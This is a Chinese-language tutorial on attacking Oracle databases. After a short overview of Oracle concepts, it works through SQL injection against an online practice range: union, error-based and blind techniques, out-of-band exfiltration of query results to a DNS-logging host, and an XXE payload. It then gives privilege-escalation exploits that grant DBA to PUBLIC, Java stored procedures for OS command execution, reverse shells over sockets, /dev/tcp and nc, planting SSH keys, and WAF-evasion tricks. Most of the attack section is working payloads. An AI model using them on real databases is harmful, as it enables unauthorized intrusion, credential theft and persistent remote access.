Oracle数据库
Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小、微机环境。它是一种高效率、可靠性好的、适应高吞吐量的数据库方案。
Oracle服务默认端口:1521
一些基本概念
1、SID(Site ID):一个由字母和数字组成的系统标识符用来做实例的唯一性的区别,包含了至少一个应用程序的实例和数据存储设备
2、实例(Instance):由一个实例数字(或是一个引导ID:SYS.V_$DATABASE.ACTIVATION#
)表示,包含了一个操作系统程序的集合和与存储设备进行交谈的内部结构
ORACLE实例 = 进程 + 进程所使用的内存(SGA)
- 进程:负责接受和处理客户端传来的数据,如 Windows 下由 oracle.exe 进程负责分发和处理请求
- SGA:全称为
System Global Area
(系统全局区域)。实际上是内存中的一片共享区域,其中包含实例配置、数据缓存、操作日志、SQL命令、用户信息等信息,由后台进程进行共享
3、数据库:一般指物理存储的文件,Oracle 数据库除了基本的数据文件,还有控制文件
和 Redo 日志
(重做文件 + 控制文件 + 数据文件 + 临时文件),这些文件一般存储在$ORACLE_HOME\oradata...
路径下,后缀名后DBF
简而言之,实例是临时性的,数据库是永久性的,一个数据库可以对应多个实例,而一个实例只能对应一个数据库
Oracle数据结构
一个新概念:表空间(数据文件就是由多个表空间组成的,这些数据文件和相关文件形成一个完整的数据库),oracle 没有 mysql 的数据库概念,而是用表空间来代替,一个 oracle 只有一个数据库,它给账户开辟数据库空间,称之为表空间,创建数据库就是开辟账户的表空间。
当数据库创建时,oracle 会默认创建五个表空间:SYSTEM、SYSAUX、USERS、UNDOTBS、TEMP
- SYSTEM:包含了
数据字典
以及(默认的)索引
和集群
。数据字典包含了一个保存了所有数据库中用户对象的信息的表
,用于存储系统表和管理配置等基本信息- DBA_TABLES : 系统里所有的表的信息,需要DBA权限才能查询
- ALL_TABLES : 当前用户有权限的表的信息(只要对某个表有任何权限,即可在此视图中看到表的相关信息)
- USER_TABLES: 当前用户名下的表的信息
- DBA_ALL_TABLES:DBA 用户所拥有的或有访问权限的对象和表
- ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表
- USER_ALL_TABLES:某一用户所拥有的对象和表
user_tables
的范围最小,all_tables
看到的东西稍多一些,而dba_tables
的信息最全 - SYSAUX:是SYSTEM表的一个辅助表空间,主要存放一些系统附加信息,用来降低SYSTEM表空间的负载
- TEMP:是个临时表空间,主要用途是在数据库进行排序运算、管理索引、访问视图等操作时提供临时的运算空间,运算完后系统自动清理,可减少内存负担(temp表的大小也会一直增长)
- UNDOTBS:用于事务回退的表空间,存放撤销数据
- USERS:通常用于存放
应用系统
所使用的数据库对象,存储我们定义的表和数据 - EXAMPLE:存放各实例的相关数据
权限和用户
**权限:**oracle 对于将用户权限的集合称为角色
- DBA: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。
- RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。
- CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构
**用户:**建数据库时,会默认启用 sys、system 等用户
- sys:相当于 linux 的 root 用户,dba 角色
- system:与 sys 类似,但是相对于 sys 用户,无法修改一些关键的系统数据,这些数据维持着数据库的正常运行,为 dba 角色
- public:public 代指所有用户,对其操作会应用到所有用户上(所有用户都有 public 用户拥有的权限,如果将 dba 权限给了 public,那么也就意味着所有用户都有了 dba 权限)
基本语法
登陆到oracle数据库
- 创建 sqlplus 的软链接:
ln -s $ORACLE_HOME/bin/sqlplus /usr/bin
- 切换到 oracle 账户:
su oracle
- 连接 oracle(以操作系统权限认证的 oracle sys 管理员登陆):
sqlplus / as sysdba
基本查询语句
select column, group_function(column)
from table
[where condition]
[group by group_by_expression]
[having group_condition]
[order by column];
规范
这里使用了解一些基本语法的话,就了解一些跟mysql不一样的地方
虚表 dual:它没有实际的存储意义,永远只存储一条数据,因为 oracle 的语法要求 select 后必须跟上 from,所以通常使用 dual 来作为计算、查询时间等SQL语句中 from 之后的虚表占位,例如select 1+1 from dual
都是遵守的SQL标准语法
- select 必须要指明表名。也可以用
dual
作为表名来对非真实的表进行查询 - Oracle 中空字符串
''
就是null
(也就是说oracle只有null
,没有空字符) - Oracle使用
||
拼接字符串,MySQL中为或运算 - Oracle的单引号与mysql一样的,只不过Oracle的双引号是用来消除系统关键字的
- Oracle中limit应该使用虚表中的rownum字段通过where条件判断
select * from pyy where rownum = 1;
- Oracel的单行注释符是
--
,多行注释符是/**/
数据库信息
- 获取数据库版本:
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;
- 获取操作系统版本:
SELECT banner FROM v$version where banner like 'TNS%';
- 获取当前用户权限的所有数据库:
SELECT DISTINCT owner, table_name FROM all_tables;
- 获取当前数据库:
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
- 表名与字段名:
SELECT table_name FROM all_tables;
SELECT table_name FROM user_tables;
SELECT column_name FROM all_tab_columns;
select column_name from user_tab_columns;
- 获取DB文件路径
SELECT name FROM V$DATAFILE;
- 获取主机名和IP
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; 查IP
SELECT UTL_INADDR.get_host_name(‘127.0.0.1’) FROM dual; 查主机名称
用户信息
- 当前数据库用户:
SELECT user FROM dual;
SELECT SYS_CONTEXT('USERENV','AUTHENTICATED_IDENTITY') FROM dual;
SELECT SYS_CONTEXT('USERENV','SESSION_USER') FROM dual;
select sys_context('userenv','current_user') from dual
- 所有数据库用户
SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; -- priv
- 所有数据库用户的密码 hash
SELECT name, password, astatus FROM sys.user$; -- priv, <= 10g
SELECT name,spare4 FROM sys.user$ -- priv, 11g
- 获取当前用户权限
SELECT * FROM session_privs;
- 获取所有用户权限
SELECT * FROM dba_sys_privs; -- priv
- 获取用户角色
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
SELECT DISTINCT grantee FROM dba_sys_privs;
- 列出DBA账户
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; -- priv
其他
GLOBAL_NAME
包含一行,显示当前数据库的全局名称,好像只会返回XE
注入流程
这里使用在线靶场进行演示:o1.lab.aqlab.cn
实际上思路是和mysql注入是大同小异的,只不过用到的是cracle中的函数
寻找并判断注入点
数字型
数字型的注入,和其他类型数据库时都一样,自己构造加减乘除的条件来判断注入
- 通过
<>
来判断
?id=1 and 1<>6--+ #返回为真 页面正常
?id=1 and 1<>1--+ #返回为假 页面异常
- 通过 加减法来判断
?id=1 #返回id,为1的内容
?id=2-1 #返回为1的内容
- 通过数据库报错来判断
?id=1 #返回为正常
?id=1/0 #返回异常
- 通过注释符来判断(多行注释:/**/,单行注释:–)
?id=1 #返回为正常
?id=1--test #也返回正常
?id=1/*test*/ #也返回正常
字符型
字符型注入相对数字型来说,会存在闭合一些数据引用符号的问题,例如语句通过'
闭合语句后,后续就要通过单行注释符来注释剩下的单引号,其他情况也是如此:(假设数据库中name字段有test这个值)
- 通过
<>
来判断
?name=test' and+1<>6--+ #返回正常
?name=test' and+1<>1--+ #返回异常
- 使用字符串拼接符
||
,通过判断拼接符是否执行,从而判断是否存在注入
?name=te'||'st #返回正常
?name=te'||'aaa #返回异常
联合查询
利用union select将想要查询的数据显示在页面上,构造正常语句,成功执行SQL语句查询数据。
Tips: 因为
Oracle
是强匹配的,所以在Oracle
进行类似Union
联合查询的时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置,最后查询返回指定的记录时,oracle
没有limit
函数,要通过'>=0 <=1'
这种形式来指定。
select 列名 from (select rownum r,列名 from 表名) where r>0 and r<5;
- 先判断列数,同Mysql一样
?id=1 order by 4 #返回正常
?id=1 order by 5 #提示报错
得出结论数据为: 5 列
- 然后对每一列的数据类型进行判断(可以使用null代替某些无法快速猜测出数据类型的位置),先默认每一列均为null,然后从第一列开始依次将null改为数字,如果报错则说明该列是字符型,否则是数字型。
?id=-1 union select 1,null,null,null from dual #没有报错,可以判断第一个字段为数字型
以此类推,可判断出所有字段的类型
- 判断回显点
to_nchar()
函数可以将字符数据从任何支持的字符集转换为NCHAR字符集,NCHAR数据类型是固定长度的UNICODE数据,NCHAR和CHAR是不能直接互相兼容的,要通过 Oracle 的函数或者语法进行转换
?id=-1 union select null,to_nchar('abc'),null,null from dual #页面显示字符abc
可以判断出回显点在第二个字段中。
- 获取表名
# 获取第一个表名为NEWS
?id=-1 union select null,to_nchar(table_name),null,null from user_tables where rownum=1
# 获取第二个表名为ADMIN
?id=-1 union select null,to_nchar(table_name),null,null from user_tables where table_name<>'NEWS'
# 获取第三个表名为MD5
?id=-1 union select null,to_nchar(table_name),null,null from user_tables where table_name<>'NEWS' and table_name<>'ADMIN'
# 没有查到更多数据
?id=-1 union select null,to_nchar(table_name),null,null from user_tables where table_name<>'NEWS' and table_name<>'ADMIN' and table_name<>'MD5'
这样就知道一共有三个表,分别为NEWS、ADMIN、MD5
通过这样一个一个表查效率比较低,可以先查询用户名,再用类似 mysql 中 group_concat()
的方式查询表名
# 查询用户名为ORACLE1
?id=-1 union select null,to_nchar((select user from dual)),null,null from dual
# 查询用户名为ORACLE1拥有的所有表
?id=-1 union select null,to_nchar((select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='ORACLE1')),null,null from dual
- 获取字段名
# 查询ADMIN表第一个字段名为UNAME
?id=-1 union select null,to_nchar(column_name),null,null from user_tab_columns where rownum=1 and table_name ='ADMIN'
# 查询ADMIN表第二个字段名为UPASS
?id=-1 union select null,to_nchar(column_name),null,null from user_tab_columns where table_name ='ADMIN' and column_name<>'UNAME'
# 没有查到更多数据
?id=-1 union select null,to_nchar(column_name),null,null from user_tab_columns where table_name ='ADMIN' and column_name<>'UNAME' and column_name<>'UPASS''
同样地可以使用拼接的方式一次性查出来
# 查询ADMIN表中所有字段
?id=-1 union select null,to_nchar((select LISTAGG(column_name,',')within group(order by table_name)name from user_tab_columns where table_name ='ADMIN')),null,null from dual
- 获取数据
获取UNAME字段
# 查询ADMIN表中的UNAME字段,第一个数据为OCI
?id=-1 union select null,to_nchar(UNAME),null,null from ADMIN where rownum=1
# 查询ADMIN表中的UNAME字段,第二个数据为NF
?id=-1 union select null,to_nchar(UNAME),null,null from ADMIN where UNAME<>'OCI'
# 查询ADMIN表中的UNAME字段,第三个数据为QQ123
?id=-1 union select null,to_nchar(UNAME),null,null from ADMIN where UNAME<>'OCI' and UNAME<>'NF'
# 没有查到更多数据
?id=-1 union select null,to_nchar(UNAME),null,null from ADMIN where UNAME<>'OCI' and UNAME<>'NF' and UNAME<>'QQ123'
同理可以一次性查出来
# 查UNAME字段数据
?id=-1 union select null,to_nchar((select LISTAGG(UNAME,',')within group(order by UNAME)name from ADMIN)),null,null from dual
# 查UPASS字段数据,按照UNAME排序
?id=-1 union select null,to_nchar((select LISTAGG(UPASS,',')within group(order by UNAME)name from ADMIN)),null,null from dual
还可以把两个字段拼在一起查出来
?id=-1 union select null,to_nchar((select concat(concat(UNAME,':'),UPASS) from ADMIN where rownum=1)),null,null from dual
报错注入
报错注入是一种通过函数报错前进行子查询获取数据,再通过错误页面回显的一种注入手法,下面介绍几种报错注入函数以及获取一些常见的获取数据,实际操作只需要将子查询内的查询语句进行替换即可。
TIPS:这里有个小技巧,mysql中我们进行报错语句通常是用
=
与一个数字或者字符比较来构造报错语句,但是在oracle中由于对字符类型的严格判断,如果=
两边的类型不匹配的话就会返回类型不对的报错,而我们想要的报错信息不回显示,这里可以在报错语句后面加上is not null
来替代=
,就不会有上面的问题。
Oracle 中用于处理文本,当传入参数类型错误时,会返回异常。
?id=1 and (ctxsys.drithsx.sn(1, (select user from dual)))is not null
- CTXSYS.CTX_REPORT.TOKEN_TYPE
作用与 ctxsys.drithsx.sn
类似,用于处理文本
?id=-1 and (select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual)is not null
- XMLType
XMLType 在调用的时候必须以<:
开头,>
结尾,即 '<:'||balabala||'>'
或者 chr(60)||chr(58)balabal||chr(62)
。另外需要注意的是如果返回的数据种有空格的话,它会自动截断,导致数据不完整,这种情况下先转为 hex,再导出。
?id=1 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual)is not null
?id=1 and (select XMLType('<:'||(select user from dual)||'>') from dual)is not null
11g和12c都未成功
- dbms_xdb_version.checkin
?id=-1 and (select dbms_xdb_version.checkin((select user from dual)) from dual)is not null
- dbms_xdb_version.makeversioned
?id=-1 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual)is not null
- dbms_xdb_version.uncheckout
?id=-1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual)is not null
- dbms_utility.sqlid_to_sqlhash
?id=-1 and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual)is not null
- ordsys.ord_dicom.getmappingxpath
?id=-1 and (select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual)is not null
11g失败,12c成功
- UTL_INADDR.get_host_name
以下用到了utl_inaddr
的方法在 Oracle 8g
,9g
,10g
中不需要任何权限,但是在Oracle 11g
以及以后的版本中,官方加强了访问控制权限,所以在11g
以后要使用此方法进行报错注入,当前数据库用户必须有网络访问权限。
?id=-1 and (select utl_inaddr.get_host_name((select user from dual)) from dual)is not null
- UTL_INADDR.get_host_address
?id=-1 and (select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual)is not null
布尔盲注
通过构造不同条件,返回返回页面的不同,就形成了Bool值的注入
- 直接使用
substr()
分割字符串进行盲注
substr()
:用法和mysql一样,同样是要从1开始,而不是0。
# 盲注用户名第一位
# 返回正常页面
?id=-1 or (select substr(user, 1, 1) from dual)='O'
# 返回没有找到对应数据
?id=-1 or (select substr(user, 1, 1) from dual)='a'
- 通过
substr()
、decode()
函数的盲注(常用)
decode(字段或字段的运算, 值1, 值2, 值3)
:当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3。当然值1,值2,值3也可以是表达式,这也为后面的时间盲注提供了便利。
# 盲注数据库名字
# 返回正常页面
?id=-1 or 1=(select decode(user,'ORACLE1',1,0) from dual)
# 显示没有找到对应数据
?id=-1 or 1=(select decode(user,'TEST',1,0) from dual)
当然我们是在前面的注入中知道了数据库名字,正常情况下应用 substr()
进行字符串的分割
# 盲注用户名第一位
?id=-1 or 1=(select decode(substr((select user from dual),1,1),'O',1,0) from dual)
- 通过
ascii()
函数的盲注
这里用到的函数都和mysql一样(所有可见字符的ASCII码为32~126)
# 盲注用户名第一位
?id=-1 or (select ascii(substr(user,1,1))from dual)>79
配合上case
、substr()
函数的方式
# 盲注用户名第一位
?id=-1 or 1=(case when ascii(substr(user,1,1))=79 then 1 else 0 end)
- 通过
instr()
函数的盲注
instr(str1, str2)
从一个字符串中查找指定子串的位置,同样是从1开始。
# 盲注用户名
?id=-1 or (instr((select user from dual),'O'))=1
?id=-1 or (instr((select user from dual),'OR'))=1
?id=-1 or (instr((select user from dual),'ORA'))=1
配合上case
和 chr()
就可以对ASCII码数字进行盲注(相对复杂一点)
# 盲注用户名第一位
?id=-1 or 1=(case instr(user,chr(82),1,1) when 1 then 1 else 0 end)
# 盲注用户名第二位
?id=-1 or 1=(case instr(user,chr(82),2,1) when 2 then 1 else 0 end)
时间盲注
时间盲注,基于服务器返回所用的时间,判断函数是否执行,从而判断是否存在注入
- 查询大量数据
用decode()
配合查询大量数据进行时间盲注,缺点是当数据较少时效果不明显
# 盲注用户名
?id=-1 or (select decode(user,'ORACLE1',(select count(*) from all_objects),0) from dual)=1
- DBMS_PIPE.RECEIVE_MESSAG
dbms_pipe.receive_message('RDS',5)
函数将为从RDS管道返回的数据等待5秒,默认情况下允许以 public 权限执行(但是我这里在靶场11g版本普通用户没成功,但是在本地起的12c版本SYS用户上能延时)
# 查看是否可以使用dbms_pipe.receive_message()函数进行延时注入
?id=1 and 1=(dbms_pipe.receive_message('RDS',5))
配合docode()
进行延时
# 盲注用户名第一个字符
?id=-1 or 1=(select decode(substr(user,1,1),'O',dbms_pipe.receive_message('RDS', 5),0) from dual)
配合replace()
进行延时
# 盲注用户名第一个字符
?id=1 and DBMS_PIPE.RECEIVE_MESSAGE('RDS',(replace((SELECT substr(user, 1, 1) FROM dual),'O', 5)))=1
外带攻击OOB(Out Of Band)
通过HTTP请求,或者DNSlog,来构造语句,如果目标出网,并且对数据库函数没有进行限制,就会实现攻击
- utl_http.request
?id=-1 and utl_http.request('http://ora.t6n089.ceye.io/'||(select user from dual))is not null
- utl_inaddr.get_host_address
?id=-1 and utl_inaddr.get_host_address((select user from dual)||'.t6n089.ceye.io')is not null
- SYS.DBMS_LDAP.INIT
?id=-1 and DBMS_LDAP.INIT((select user from dual)||'.t6n089.ceye.io',80)is not null
- HTTPURITYPE
?id=1 and (select HTTPURITYPE('http://t6n089.ceye.io/'||(select user from dual)).GETCLOB() FROM DUAL)is not null --
Oracle XXE(CVE-2014-6577)
影响版本:11.2.0.3
,11.2.0.4
,12.1.0.1
和12.1.0.2
。
Oracle XXE 的效果和 UTL_http
的效果差不多,都是将数据传输到远端服务器上。但是,由于 extractvalue()
函数对所有数据库用户都可以使用,不存在权限的问题,所以当在低权限没有UTL_http
权限时,这个不失为一个好方法。
# http
select 1 from dual where 1=(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://t6n089.ceye.io/'||(SELECT user from dual)||'"> %remote;]>'),'/l') from dual);
# ftp
select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "ftp://'||user||':bar@IP/test"> %remote; %param1;]>'),'/l') from dual;
Oracle 提权漏洞
Oracle存在提权漏洞的一个重要原因是PL/SQL定义的两种调用权限导致(定义者权限和调用者权限)。定义者权限给了低权限用户在特定时期拥有高权限的可能,这就给提权操作奠定了基础。
即,无论调用者权限如何,执行存储过程的结果权限永远为定义者权限,因此,如果一个较高权限的用户定义了存储过程,并赋予了低权限用户调用权限,较低权限的用户即可利用这个存储过程提权。
Oracle公司在它的Oracle数据库中,同样支持了使用Java来编写存储过程。那么对于攻击者来说,完全可以通过这一特性,在系统上执行Java代码,从而完成提权操作。
GET_DOMAIN_INDEX_TABLES
影响版本:8.1.7.4
,9.2.0.1 - 9.2.0.7
,10.1.0.2 - 10.1.0.4
和10.2.0.1-10.2.0.2
漏洞的成因是该函数的参数存在注入,而该函数的所有者是sys,所以通过注入就可以执行任意sql,该函数的执行权限为public,所以只要遇到一个oracle的注入点并且存在这个漏洞的,基本上都可以提升到最高权限。
- 权限提升
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(
'1',
'1',
'DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--',
'SYS',
0,
'1',
0
) from dual;
后续的就是做填空题了,把要实现的操作替换上面的 grant dba to public
部分即可
- 命令执行
1、创建Java代码执行命令
create or replace and compile java source named "Command" as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb="";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"\n";inBr.close();in.close();return sb;}}
2、赋予Java执行权限
begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;
3、创建函数
create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String'''''''';
4、赋予函数执行权限
grant all on cmd to public
5、执行命令
select sys.cmd('whoami') from dual;
- 反弹 SHELL
1、创建 JAVA 代码
# window
create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell{public static void run() throws Exception {Socket s = new Socket("your own ip", 80);Process p = Runtime.getRuntime().exec("cmd.exe");new T(p.getInputStream(), s.getOutputStream()).start();new T(p.getErrorStream(), s.getOutputStream()).start();new T(s.getInputStream(), p.getOutputStream()).start();}static class T extends Thread {private InputStream i;private OutputStream u;public T(InputStream in, OutputStream out) {this.u = out;this.i = in;}public void run() {BufferedReader n = new BufferedReader(new InputStreamReader(i));BufferedWriter w = new BufferedWriter(new OutputStreamWriter(u));char f[] = new char[8192];int l;try {while ((l = n.read(f, 0, f.length)) > 0) {w.write(f, 0, l);w.flush();}} catch (IOException e) {}try {if (n != null)n.close();if (w != null)w.close();} catch (Exception e) {}}}}
# linux
create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/127.0.0.1/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa);}}
2、赋予代码执行权限
begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;
3、创建函数
create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String'''''''';
4、赋予函数执行权限
grant all on reversetcp to public
5、反弹 SHELL
select sys.reversetcp from dual;
dbms_xmlquery.newcontext
影响版本:8.1.7.4
,9.2.0.1-9.2.0.7
,10.1.0.2-10.1.0.4
和10.2.0.1-10.2.0.2
注意,这里需要配合上面的GET_DOMAIN_INDEX_TABLES
函数后者后面的DBMS_JVM_EXP_PERMS
函数进行赋权
1、创建Java库
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
2、赋予java执行权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(
'1',
'1',
'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--',
'SYS',
0,
'1',
0
) from dual;
3、创建函数
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
判断是否创建成功
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
若想删除创建的函数,通过以下命令删除
drop function LinxRunCMD;
4、执行命令
select LinxRunCMD('id') from dual;
DBMS_JVM_EXP_PERMS
在 Oracle 11g 中存在一个逻辑漏洞:只要拥有 CREATE SESSION 的权限,便可以赋予任意 Java 权限。这是因为允许了 public 调用 DBMS_JVM_EXP_PERMS
中的函数
获取文件读写权限
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' from dual;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
任意代码执行还需要获得RuntimePermission
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
在获取了JAAV权限之后就可以利用下面两个函数实现命令执行
DBMS_JAVA_TEST.FUNCALL
影响版本:10g R2, 11g R1, 11g R2
权限:Java Permissions
Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','touch /tmp/test') from dual;
写ssh公钥到.ssh目录,写计划任务等
Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/usr/bin/mkdir /home/oracle/.ssh') from dual;
Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','echo "ssh公钥"> /home/oracle/.ssh/authorized_keys') from dual;
DBMS_JAVA.RUNJAVA
影响版本:10g R2, 11g R1, 11g R2
权限:Java Permissions
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/test') FROM DUAL;
可以使用如下命令利用管道把结果回显出去
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /usr/bin/bash -c "/bin/ls|/usr/bin/nc xx.xx.xx.xx port"') FROM DUAL;
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper nc -e /usr/bin/bash xx.xx.xx.xx port') FROM DUAL;
绕过
编码绕过
- 使用
hextoraw()
和asciistr()
配合UTL_RAW.CAST_TO_VARCHAR2()
函数来实现编码的绕过。
首先可以将字符变成16进制编码形式:
SELECT rawtohex('abcdef') FROM dual; # 得到616263646566
然后在输入的时候借助UTL_RAW.CAST_TO_VARCHAR2
和 hextoraw
将16进制还原为字符串
SELECT UTL_RAW.CAST_TO_VARCHAR2(hextoraw(616263646566)) FROM dual; # 输出abcdef
空格绕过
常用于替换空格%20
的其他字符%0a、%0b、%2b、%0c、%0d、%00、%20、%09
SELECT 1 FROM dual; 正常语句
SELECT%0a1%0aFROM%0adual; \n换行来替代空格
SELECT%0b1%0bFROM%0bdual; 使用tab来替换空格
SELECT%0c1%0cFROM%0cdual; 使用\r回车开替换空格
SELECT/**/1/**/FROM/**/dual; 多行注释符来替代回车
SELECT--%0a1--%0aFROM--%0adual; 单行注释符和换行来替代回车
SELECT/*!12321SELECT*/1/*!12321AND*/FROM/*!12321QWE*/dual; 使用内联注释符
拼接换行回车符
Oracle中用CHR(10)
表示换行、CHR(13)
表示回车、字符串拼接使用||
,那么回车换行即是chr(13)||chr(10)
。
只要是select from XXX
中的都可以拼接回车或换行,*不限于列名、字段名、正常字符串。如下图在user前拼接回车符
?id=-1 uNIon sELEct null,to_nchar((SelEct chr(13)||chr(10)||uSEr fROm dual)),null,null fROm dUAl
分块传输
直接用github上burp的插件即可:c0ny1/chunked-coding-converter
脏数据
waf对于每一个数据包都进行检测,这是很耗费资源的,所以一般只会在固定长度范围内进行检测,那么这里在语句中插入大量无用字符,便可以成功绕过。
?id=-1/*脏数据*/uNIon/*脏数据*/sELEct/*脏数据*/null,to_nchar((SelEct chr(13)||chr(10)||uSEr/*脏数据*/fROm dual)),null,null/*脏数据*/fROm/*脏数据*/dUAl/*脏数据*/